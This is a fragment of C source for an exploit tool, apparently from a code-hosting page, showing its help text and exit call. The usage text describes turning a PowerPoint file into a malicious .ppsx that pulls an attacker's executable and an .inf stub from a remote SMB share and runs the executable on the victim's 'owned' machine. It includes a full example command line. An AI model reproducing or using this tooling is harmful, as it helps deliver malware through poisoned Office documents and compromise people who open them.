L" **************************************************************** \n"
L" options: \n"
L" -p - path to input PowerPoint presentation file; \n"
L" -smb - UNC path on remote server in which files should be \n"
L" placed, f.e: \\\\192.168.3.100\\public ; \n"
L" -ef - path to executable file to be launched on 0wned \n"
L" machine; content of file 'll be stored into -eof \n"
L" file; \n"
L" -eof - name of file into which -ef file's content to be \n"
L" stored; exploit uploads this file onto -smb path \n"
L" automatically; make sure that -eof file is located \n"
L" on remote server before exploitation phase; \n"
L" -iof - name of .inf file to be stored on remote server; \n"
L" exploit extracts .inf stub from self and stores into \n"
L" file on remote host automatically; make sure that \n"
L" this file exists on remote server before exploitation \n"
L" phase; \n"
L" --force-upload \n"
L" - specifies explicit file's uploading to remote server; \n"
L" **************************************************************** \n"
L" EXAMPLE: \n"
L" -p a.pptx -smb \\\\192.168.0.1\\public -ef E:\\stub.exe \\ \n"
L" -eof Config.xml -iof Preview.inf --force-upload \n"
L" creates a.pptx.saved.ppsx file from a.pptx; \n"
L" stores stub.exe into \\\\192.168.0.1\\public\\Config.xml; \n"
L" stores .inf stub into \\\\192.168.0.1\\public\\Preview.inf; \n"
L" **************************************************************** \n"
L" NOTES: \n"
L" -smb, -iof, -eof are written into presentations, so make sure \n"
" that specified things exist in real life; \n"
L" **************************************************************** \n",
exe);
ExitProcess(0);
}
/* EOF
*/
You can’t perform that action at this time.